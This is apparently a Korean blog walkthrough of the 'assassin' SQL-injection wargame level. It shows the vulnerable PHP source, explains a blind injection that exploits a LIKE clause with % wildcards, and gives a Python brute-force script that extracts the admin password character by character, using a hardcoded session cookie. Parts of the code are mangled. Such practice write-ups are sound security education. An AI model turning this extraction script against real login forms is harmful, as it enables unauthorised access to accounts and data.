HSr00t 2018. 2. 15. 04:22
1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>
cs


이번 문제는 blind sql injection문제다.

where을 주지않고 like를 준것을보니 %를 이용하라는 뜻인것같다.

input+%를 넣어서 아스키코드들을 다 넣어주면 Hello admin이 뜨지않는것을 볼수있다.

만약 guest와 admin비밀번호 앞자리가 같고 guest데이터가 admin보다 위에있다면 저런식으로는 Hello admin이 뜰수없다.

위 상황으로 가정을하고 한자리씩 알아보면서 비밀번호와 %를 넣어주면서 admin이 뜰때까지 비밀번호를 알아낸다면 문제를 풀수있을것이다.


아래 공격코드는 Hello guest를 이용하여서 2자리(83)를 알아내고난 후 공격코드다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import urllib2
 
= 1
input_ = 33 #0
passwd = ''
= 0
num = 8
 
while(True):
    url = 'https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw='
    url += '83%s'%(chr(input_))
    url += '%'
    req = urllib2.Request(url)
    req.add_header('User-Agent','Mozilla/5.0')
    req.add_header('cookie','PHPSESSID=p1fad2hverso8kg1fs3fndoof6')
    data = urllib2.urlopen(req).read()
    print url
    if 'Hello admin' in data or 'Clear' in data or 'clear' in data:
        print 'Admin Search %s' %(chr(input_))
        break
    elif '<h2>Hello guest</h2>' in data:
        print 'Guest %s' %(chr(input_)) #guest 8% true, guest 83% true
        input_+=1
    else:
        input_+=1
 
cs